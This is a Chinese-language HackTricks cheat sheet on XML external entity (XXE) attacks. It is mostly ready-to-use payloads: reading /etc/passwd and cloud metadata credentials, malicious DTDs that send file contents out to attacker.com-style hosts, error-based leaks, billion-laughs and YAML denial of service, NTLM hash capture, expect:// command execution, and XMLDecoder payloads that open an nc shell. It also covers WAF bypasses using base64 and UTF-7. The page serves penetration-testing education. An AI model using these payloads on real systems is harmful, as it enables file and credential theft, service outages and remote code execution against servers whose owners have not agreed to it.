33 KiB
XXE - XEE - XML外部实体
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中被广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
{% embed url="https://websec.nl/" %}
XML基础
XML是一种为数据存储和传输而设计的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML不同之处在于不受限于一组预定义的标签。尽管XML最初在AJAX技术中发挥了作用,但随着JSON的兴起,XML的重要性已经下降。
- 通过实体表示数据:XML中的实体使数据的表示成为可能,包括特殊字符如
<
和>
,它们分别对应于<
和>
,以避免与XML的标签系统发生冲突。 - 定义XML元素:XML允许定义元素类型,概述元素应该如何结构化以及它们可以包含的内容,从任何类型的内容到特定子元素。
- 文档类型定义(DTD):DTD在XML中至关重要,用于定义文档的结构和其可以包含的数据类型。它们可以是内部的、外部的或两者结合,指导文档的格式化和验证方式。
- 自定义和外部实体:XML支持在DTD中创建自定义实体,以灵活表示数据。使用URL定义的外部实体在安全方面存在问题,特别是在XML外部实体(XXE)攻击的背景下,这些攻击利用XML解析器处理外部数据源的方式:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
- 使用参数实体检测XXE:为了检测XXE漏洞,特别是当由于解析器的安全措施而导致传统方法失败时,可以利用XML参数实体。这些实体允许使用带外检测技术,例如触发DNS查找或向受控域发起HTTP请求,以确认漏洞。
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
主要攻击
这些攻击大多数是使用出色的Portswiggers XEE实验室进行测试的:https://portswigger.net/web-security/xxe
新实体测试
在这次攻击中,我将测试一个简单的新实体声明是否有效。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
读取文件
让我们尝试以不同的方式读取 /etc/passwd
文件。对于Windows,您可以尝试读取:C:\windows\system32\drivers\etc\hosts
在这种情况下,请注意SYSTEM "**file:///**etc/passwd" 也可以工作。
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
这第二种情况应该可以用来提取文件,如果Web服务器正在使用PHP(Portswiggers实验室不适用)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
在这第三个案例中,请注意我们将Element stockCheck
声明为ANY
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
目录列表
在基于Java的应用程序中,可以通过类似以下的 XXE 负载(仅请求目录而非文件)来列出目录的内容:
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
XXE可能被用来滥用云中的SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
盲 SSRF
使用先前评论的技术,您可以让服务器访问您控制的服务器以显示其存在漏洞。但是,如果这不起作用,可能是因为不允许使用 XML 实体,在这种情况下,您可以尝试使用XML 参数实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
"盲" SSRF - 通过外带方式泄露数据
在这种情况下,我们将让服务器加载一个带有恶意载荷的新DTD,该载荷将通过HTTP请求发送文件内容(对于多行文件,您可以尝试通过 _ftp://_ 来外带,例如使用这个基本服务器 xxe-ftp-server.rb)。这个解释是基于 Portswiggers lab here。
在给定的恶意DTD中,进行了一系列步骤来外带数据:
恶意DTD示例:
结构如下:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
这个DTD执行的步骤包括:
- 参数实体的定义:
- 创建一个 XML 参数实体
%file
,读取/etc/hostname
文件的内容。 - 定义另一个 XML 参数实体
%eval
。它动态声明一个新的 XML 参数实体%exfiltrate
。%exfiltrate
实体被设置为向攻击者服务器发起 HTTP 请求,将%file
实体的内容传递到 URL 的查询字符串中。
- 实体的执行:
- 利用
%eval
实体,导致动态声明%exfiltrate
实体的执行。 - 然后使用
%exfiltrate
实体,触发向指定 URL 发送文件内容的 HTTP 请求。
攻击者将这个恶意的 DTD 托管在他们控制下的服务器上,通常在类似 http://web-attacker.com/malicious.dtd
的 URL 上。
XXE Payload: 为了利用一个存在漏洞的应用程序,攻击者发送一个 XXE 负载:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
这个 payload 定义了一个 XML 参数实体 %xxe
并将其合并到 DTD 中。当被 XML 解析器处理时,这个 payload 会从攻击者的服务器中获取外部 DTD。然后解析器会内联解释 DTD,执行恶意 DTD 中概述的步骤,导致将 /etc/hostname
文件泄露到攻击者的服务器。
基于错误的(外部 DTD)
在这种情况下,我们将让服务器加载一个恶意的 DTD,该 DTD 将在错误消息中显示文件的内容(仅当您可以看到错误消息时才有效)。 示例在这里。
通过恶意的外部文档类型定义(DTD),可以触发 XML 解析错误消息,从而显示 /etc/passwd
文件的内容。实现这一目标的步骤如下:
- 定义一个名为
file
的 XML 参数实体,其中包含/etc/passwd
文件的内容。 - 定义一个名为
eval
的 XML 参数实体,合并了另一个名为error
的 XML 参数实体的动态声明。当评估这个error
实体时,它会尝试加载一个不存在的文件,并将file
实体的内容作为其名称。 - 调用
eval
实体,导致动态声明error
实体。 - 调用
error
实体会尝试加载一个不存在的文件,产生一个错误消息,其中包含/etc/passwd
文件的内容作为文件名的一部分。
可以使用以下 XML 调用恶意的外部 DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
基于错误的 (系统 DTD)
那么当禁止带外交互(无法进行外部连接)时,盲目 XXE 漏洞如何处理呢?
XML 语言规范中的一个漏洞可以通过错误消息暴露敏感数据,当文档的 DTD 混合了内部和外部声明时。这个问题允许在内部重新定义在外部声明的实体,促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义 XML 参数实体,该实体最初在外部 DTD 中声明。当服务器阻止带外连接时,攻击者必须依赖本地 DTD 文件来执行攻击,旨在诱发解析错误以揭示敏感信息。
考虑这样一个场景,服务器的文件系统包含一个位于 /usr/local/app/schema.dtd
的 DTD 文件,定义了一个名为 custom_entity
的实体。攻击者可以通过提交混合 DTD 来诱发 XML 解析错误,从而揭示 /etc/passwd
文件的内容。
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
以下是由此DTD执行的步骤:
- 定义了一个名为
local_dtd
的XML参数实体,其中包含位于服务器文件系统上的外部DTD文件。 - 对
custom_entity
XML参数实体进行重新定义,最初在外部DTD中定义,以封装一个基于错误的XXE利用。这种重新定义旨在引发解析错误,从而暴露/etc/passwd
文件的内容。 - 通过使用
local_dtd
实体,启用了外部DTD,包含了新定义的custom_entity
。这一系列操作导致了利用所针对的错误消息的发出。
实际示例: 使用GNOME桌面环境的系统通常在/usr/share/yelp/dtd/docbookx.dtd
上有一个DTD,其中包含一个名为ISOamso
的实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
由于这种技术使用内部 DTD,您首先需要找到一个有效的 DTD。您可以通过安装与服务器相同的操作系统/软件,然后搜索一些默认的 DTD,或者获取系统中默认 DTD 的列表,然后检查是否存在其中之一:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
了解更多信息,请查看https://portswigger.net/web-security/xxe/blind
在系统中查找DTDs
在以下令人印象深刻的 GitHub 存储库中,您可以找到可能存在于系统中的DTDs的路径:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
此外,如果您拥有受害系统的Docker镜像,您可以使用同一存储库中的工具扫描该镜像并查找系统中存在的DTDs的路径。阅读GitHub 的自述文件以了解详情。
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
通过 Office Open XML 解析器进行 XXE 攻击
要深入了解这种攻击,请查看这篇精彩文章的第二部分,来自 Detectify。
许多 Web 应用程序提供了上传 Microsoft Office 文档的功能,然后从这些文档中提取某些详细信息。例如,Web 应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了从电子表格中提取数据,解析器必然需要解析至少一个 XML 文件。
要测试此漏洞,需要创建一个包含 XXE 负载的 Microsoft Office 文件。第一步是创建一个空目录,以便可以将文档解压缩到其中。
文档解压缩后,应打开位于 ./unzipped/word/document.xml
的 XML 文件,并在首选文本编辑器(如 vim)中进行编辑。应修改 XML 以包含所需的 XXE 负载,通常以 HTTP 请求开头。
修改后的 XML 行应插入在两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
最后,可以将文件压缩为恶意 poc.docx 文件。从先前创建的 "unzipped" 目录中,应运行以下命令:
现在,可以将创建的文件上传到可能存在漏洞的 Web 应用程序,并希望在 Burp Collaborator 日志中出现请求。
Jar 协议
jar 协议仅在 Java 应用程序 中可用。它旨在在 PKZIP 存档(例如 .zip
、.jar
等)中启用文件访问,适用于本地和远程文件。
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} 访问 PKZIP 文件内部的文件对于通过系统 DTD 文件滥用 XXE 非常有用。查看此部分以了解如何滥用系统 DTD 文件。 {% endhint %}
通过 jar 协议访问 PKZIP 存档中文件的过程涉及几个步骤:
- 发出 HTTP 请求以从指定位置下载 zip 存档,例如
https://download.website.com/archive.zip
。 - 包含存档的 HTTP 响应被临时存储在系统中,通常在类似
/tmp/...
的位置。 - 然后解压存档以访问其内容。
- 读取存档中的特定文件
file.zip
。 - 操作完成后,删除在此过程中创建的任何临时文件。
一种有趣的技术是在第二步中中断此过程,方法是在提供存档文件时保持服务器连接无限期打开。可利用此存储库中的工具,包括 Python 服务器 (slow_http_server.py
) 和 Java 服务器 (slowserver.jar
)。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
{% hint style="danger" %} 在临时目录中编写文件可以帮助升级涉及路径遍历的另一个漏洞(如本地文件包含、模板注入、XSLT RCE、反序列化等)。 {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
十亿笑攻击
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml攻击
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
二次方膨胀攻击
获取 NTML
在 Windows 主机上,可以通过设置 responder.py 处理程序来获取 Web 服务器用户的 NTML 哈希值:
Responder.py -I eth0 -v
并通过发送以下请求
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
隐藏的XXE表面
XInclude
当将客户端数据集成到服务器端XML文档中,比如后端SOAP请求中的文档时,由于对XML结构的直接控制通常受限,传统的XXE攻击受到限制,因为无法修改DOCTYPE
元素。然而,XInclude
攻击提供了一种解决方案,允许在XML文档的任何数据元素中插入外部实体。即使只能控制服务器生成的XML文档中的部分数据,这种方法也是有效的。
要执行XInclude
攻击,必须声明XInclude
命名空间,并指定所需外部实体的文件路径。以下是一个简洁的示例,展示了如何构建这样一种攻击:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
查看更多信息,请访问https://portswigger.net/web-security/xxe!
SVG - 文件上传
用户上传到某些应用程序的文件,然后在服务器上进行处理,可能会利用处理 XML 或包含 XML 的文件格式的漏洞。常见的文件格式如办公文档(DOCX)和图像(SVG)都是基于 XML 的。
当用户上传图像时,这些图像会在服务器端进行处理或验证。即使是期望 PNG 或 JPEG 等格式的应用程序,服务器的图像处理库也可能支持 SVG 图像。由于 SVG 是基于 XML 的格式,攻击者可以利用恶意 SVG 图像来提交恶意内容,从而使服务器面临 XXE(XML External Entity)漏洞。
下面展示了这种利用的示例,其中恶意 SVG 图像尝试读取系统文件:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
另一种方法涉及尝试通过 PHP 的 "expect" 包装器执行命令:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
在这两种情况下,SVG 格式被用来发动攻击,利用服务器软件的 XML 处理能力,突显了对强大的输入验证和安全措施的需求。
查看https://portswigger.net/web-security/xxe获取更多信息!
请注意读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。
PDF - 文件上传
阅读以下文章以了解如何利用 XXE 上传 PDF 文件:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type: 从 x-www-urlencoded 到 XML
如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如,如果正常请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可以尝试提交以下请求,结果将会相同:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
内容类型:从JSON到XEE
要更改请求,您可以使用名为“Content Type Converter”的Burp扩展。这里您可以找到这个示例:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
另一个示例可以在这里找到。
WAF & Protections Bypasses
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
这只有在XML服务器接受data://
协议时才有效。
UTF-7
您可以在此处使用[CyberChef的“编码配方”](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将转换为UTF-7。
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
文件:/ 协议绕过
如果网站使用 PHP,可以使用 php wrappers php://filter/convert.base64-encode/resource=
来访问内部文件,而不是使用 file:/
。
如果网站使用 Java,您可以查看jar: 协议。
HTML 实体
来自 https://github.com/Ambrotd/XXE-Notes
您可以创建一个实体内部的实体,使用html实体对其进行编码,然后调用它来加载一个dtd。
请注意,所使用的HTML实体需要是数字的(例如[在这个例子中](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\)。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD 示例:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP包装器
Base64
提取 index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
提取外部资源
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
远程代码执行
如果加载了 PHP 的 "expect" 模块
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
这个例子受到了https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe的启发。
XLIFF(XML本地化交换文件格式)用于标准化本地化过程中的数据交换。这是一种基于XML的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为CAT(计算机辅助翻译)工具的常见交换格式。
盲目请求分析
向服务器发出以下内容的请求:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
然而,这个请求触发了一个内部服务器错误,明确指出标记声明存在问题:
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
尽管出现错误,但在Burp Collaborator上记录了一次命中,表明与外部实体有一定程度的交互。
带外数据泄露 为了将数据外泄,发送了一个修改过的请求:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
这种方法揭示了用户代理指示使用Java 1.8。Java的这个版本存在一个已知限制,即无法使用带有换行符的文件(例如/etc/passwd)来检索文件,使用带外技术。
基于错误的数据泄露为了克服这个限制,采用了基于错误的方法。DTD文件的结构如下,以触发包含目标文件数据的错误:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
服务器响应错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
为了在错误消息中包含文件内容,需要调整DTD文件:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
这种修改导致文件内容成功外泄,因为它反映在通过HTTP发送的错误输出中。这表明成功利用XXE(XML外部实体)攻击,利用带外和基于错误的技术来提取敏感信息。
RSS - XEE
有效的XML格式,具有RSS格式,用于利用XXE漏洞。
回显
向攻击者服务器发出的简单HTTP请求
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
读取源代码
使用 PHP base64 过滤器
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder是一个Java类,它根据XML消息创建对象。如果恶意用户可以让应用程序在调用方法readObject时使用任意数据,他将立即在服务器上获得代码执行权限。
使用Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
工具
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
参考资料
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf\
- https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html\
- 通过使用自己的外部 DTD 从 HTTP 中提取信息: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection\
- https://gist.github.com/staaldraad/01415b990939494879b4\
- https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9\
- https://portswigger.net/web-security/xxe\
- https://gosecure.github.io/xxe-workshop/#7
{% embed url="https://websec.nl/" %}
从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的 公司广告 或 下载 PDF 版本的 HackTricks,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 探索 PEASS 家族,我们的独家 NFTs
- 加入 💬 Discord 群组 或 电报群组 或 关注 我们的 Twitter 🐦 @carlospolopm.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。